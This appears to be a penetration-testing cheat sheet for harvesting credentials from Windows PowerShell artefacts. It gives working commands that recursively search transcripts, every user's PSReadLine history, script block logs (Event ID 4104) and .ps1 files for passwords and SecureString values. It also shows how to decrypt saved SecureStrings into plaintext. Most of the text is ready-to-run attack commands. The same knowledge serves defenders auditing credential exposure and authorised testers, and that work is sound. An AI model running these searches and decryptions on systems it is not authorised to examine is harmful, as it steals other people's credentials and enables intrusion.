PowerShell Transcript Files
Transcripts record full PowerShell session output to text files. May contain credentials typed by admins.
Check if Enabled
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\Transcription" 2>nul
| Value | Meaning |
|---|
EnableTranscripting = 1 | Transcripts enabled |
OutputDirectory | Where transcripts are saved |
Default Locations
C:\Users\<user>\Documents\PowerShell_transcript*.txt
C:\Transcripts\
C:\Windows\Temp\
Find Transcripts
Get-ChildItem -Path C:\ -Recurse -Include "PowerShell_transcript*" -ErrorAction SilentlyContinue
dir /s /b C:\*transcript*.txt 2>nul
Search for Credentials
Get-ChildItem -Path C:\ -Recurse -Include "PowerShell_transcript*" -ErrorAction SilentlyContinue | ForEach-Object { Select-String -Path $_ -Pattern "password|credential|secret|key|ConvertTo-SecureString" }
PowerShell History (PSReadLine)
Default Location
(Get-PSReadlineOption).HistorySavePath
C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Search All Users
Get-ChildItem -Path C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -ErrorAction SilentlyContinue | ForEach-Object {
Write-Output "=== $($_.FullName) ==="
Get-Content $_
}
Search for Passwords
Get-ChildItem -Path C:\Users\*\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt -ErrorAction SilentlyContinue | ForEach-Object {
Select-String -Path $_ -Pattern "password|ConvertTo-SecureString|PSCredential|net user|runas" -AllMatches
}
Module Logging
Records which PowerShell modules are loaded and executed.
Check if Enabled
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ModuleLogging" 2>nul
Read Logs
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -MaxEvents 100 | Where-Object { $_.Message -match "password|credential" }
Script Block Logging
Records all PowerShell code executed, including decoded/deobfuscated commands.
Check if Enabled
reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows\PowerShell\ScriptBlockLogging" 2>nul
Read Logged Script Blocks
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -FilterXPath '*[System[EventID=4104]]' -MaxEvents 100 | ForEach-Object { $_.Message }
Search for Credentials in Logs
Get-WinEvent -LogName "Microsoft-Windows-PowerShell/Operational" -FilterXPath '*[System[EventID=4104]]' -MaxEvents 500 | Where-Object { $_.Message -match "password|secret|credential|ConvertTo-SecureString" } | ForEach-Object { $_.Message }
PSCredential Objects in Scripts
Admins often hardcode credentials:
$pass = ConvertTo-SecureString "P@ssw0rd" -AsPlainText -Force
$cred = New-Object System.Management.Automation.PSCredential("admin", $pass)
Search for These Patterns
Get-ChildItem -Path C:\ -Recurse -Include *.ps1,*.psm1,*.psd1 -ErrorAction SilentlyContinue | Select-String -Pattern "ConvertTo-SecureString|PSCredential|password" -List
Decrypt SecureString (If Same User)
If you find a saved SecureString:
$secstr = ConvertTo-SecureString "encrypted_string_here"
$cred = New-Object System.Management.Automation.PSCredential("user", $secstr)
$cred.GetNetworkCredential().Password
From File
$secstr = Get-Content C:\Users\admin\cred.txt | ConvertTo-SecureString
[Runtime.InteropServices.Marshal]::PtrToStringAuto([Runtime.InteropServices.Marshal]::SecureStringToBSTR($secstr))
SecureString is user + machine specific (DPAPI). Only works if decrypted on same machine by same user who encrypted it.
Quick Reference
| Source | Location |
|---|
| Transcripts | C:\Transcripts\ or OutputDirectory in registry |
| PSReadLine history | AppData\...\PSReadLine\ConsoleHost_history.txt |
| Module logs | Event Log: Microsoft-Windows-PowerShell/Operational |
| Script block logs | Event ID 4104 |
| Hardcoded creds | .ps1 files with ConvertTo-SecureString |